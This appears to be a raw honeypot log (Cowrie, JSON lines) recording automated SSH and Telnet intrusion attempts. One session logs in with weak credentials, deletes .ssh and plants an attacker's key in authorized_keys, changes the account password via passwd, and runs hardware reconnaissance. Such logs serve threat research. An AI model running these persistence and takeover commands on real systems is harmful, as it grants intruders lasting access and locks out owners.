{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:39.835700Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:40.054589Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:40.520399Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:40.523603Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:40.744252Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.0","message":"Connection lost after 22.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:40.749363Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60758,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f2471b71058","protocol":"telnet","message":"New connection: 64.227.9.242:60758 (159.203.135.109:23) [session: 2f2471b71058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:41.418478Z"}
{"eventid":"cowrie.session.closed","duration":34.613282442092896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:44.913742Z","src_ip":"64.227.9.242","session":"6fd8d273ee81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.986491441726685,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:47.769950Z","src_ip":"64.227.9.242","session":"793420f49631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.70120811462402,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:48.737728Z","src_ip":"64.227.9.242","session":"9100876e243b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.52492833137512,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:50.189220Z","src_ip":"188.208.141.113","session":"397cdde7202e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.16937851905823,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:51.428089Z","src_ip":"188.208.141.113","session":"466f4e99c956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.971832036972046,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:53.637254Z","src_ip":"64.227.9.242","session":"a10bc863ea68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.3007128238678,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:53.829419Z","src_ip":"64.227.9.242","session":"f616f67c8192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":33010,"dst_ip":"10.17.0.5","dst_port":22,"session":"796f4e127779","protocol":"ssh","message":"New connection: 1.235.192.214:33010 (10.17.0.5:22) [session: 796f4e127779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:54.540814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:54.545943Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:54.728096Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48334,"dst_ip":"10.17.0.5","dst_port":23,"session":"970492f671a8","protocol":"telnet","message":"New connection: 188.208.141.113:48334 (10.17.0.5:23) [session: 970492f671a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:55.214783Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48350,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d36a3e8c9b","protocol":"telnet","message":"New connection: 188.208.141.113:48350 (10.17.0.5:23) [session: b0d36a3e8c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:55.267085Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin12345678","message":"login attempt [admin/admin12345678] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:55.487486Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:55.932792Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:55.936330Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:55.940379Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:56.127504Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:56.531956Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:56.535567Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:56.723558Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:56.727379Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":33026,"dst_ip":"10.17.0.5","dst_port":22,"session":"34b3c79990b4","protocol":"ssh","message":"New connection: 1.235.192.214:33026 (10.17.0.5:22) [session: 34b3c79990b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:56.908662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:56.913717Z","src_ip":"1.235.192.214","session":"34b3c79990b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:57.099437Z","src_ip":"1.235.192.214","session":"34b3c79990b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:57.874487Z","src_ip":"1.235.192.214","session":"34b3c79990b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:59.063696Z","src_ip":"1.235.192.214","session":"34b3c79990b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":34594,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65ab63765de","protocol":"ssh","message":"New connection: 1.235.192.214:34594 (10.17.0.5:22) [session: a65ab63765de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:59.231514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:59.236482Z","src_ip":"1.235.192.214","session":"a65ab63765de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55728,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9a2fb413b21","protocol":"telnet","message":"New connection: 64.227.9.242:55728 (159.203.135.109:23) [session: b9a2fb413b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:59.397786Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:59.415310Z","src_ip":"1.235.192.214","session":"a65ab63765de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48360,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b007ec70eb","protocol":"telnet","message":"New connection: 188.208.141.113:48360 (10.17.0.5:23) [session: 95b007ec70eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:59.541134Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:00.160774Z","src_ip":"1.235.192.214","session":"a65ab63765de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.9230570793151855,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:00.189924Z","src_ip":"188.208.141.113","session":"b0d36a3e8c9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.86396312713623,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:01.009349Z","src_ip":"64.227.9.242","session":"facc7dd37199","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:01.342134Z","src_ip":"1.235.192.214","session":"a65ab63765de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.58772897720337,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:01.523890Z","src_ip":"64.227.9.242","session":"a0e77ee4eb59","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:01.592606Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:01.596696Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:01.787561Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:02.255518Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin12345678\\nKyQfTbOgJsaD\\nKyQfTbOgJsaD\"|passwd|bash","message":"CMD: echo -e \"admin12345678\\nKyQfTbOgJsaD\\nKyQfTbOgJsaD\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:02.263772Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:02.268109Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:02.291199Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9f4a9c73ab951a4bc3c9b3f9da9299f4d3703692ca97cc111c0987bcc7b5c112","size":32,"shasum":"9f4a9c73ab951a4bc3c9b3f9da9299f4d3703692ca97cc111c0987bcc7b5c112","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/9f4a9c73ab951a4bc3c9b3f9da9299f4d3703692ca97cc111c0987bcc7b5c112 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:02.495754Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:02.954658Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin12345678\\nKyQfTbOgJsaD\\nKyQfTbOgJsaD\\n\"|passwd","message":"CMD: echo \"admin12345678\\nKyQfTbOgJsaD\\nKyQfTbOgJsaD\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:02.965292Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c9c0cc8e451952ac7773fd5ca4667b269bb477615bfa1d3fd00a33a4edfdabe6","size":25,"shasum":"c9c0cc8e451952ac7773fd5ca4667b269bb477615bfa1d3fd00a33a4edfdabe6","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c9c0cc8e451952ac7773fd5ca4667b269bb477615bfa1d3fd00a33a4edfdabe6 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:03.161254Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:03.637205Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:30:03.642855Z","src_ip":"1.235.192.214","session":"796f4e127779","protocol":"ssh"}
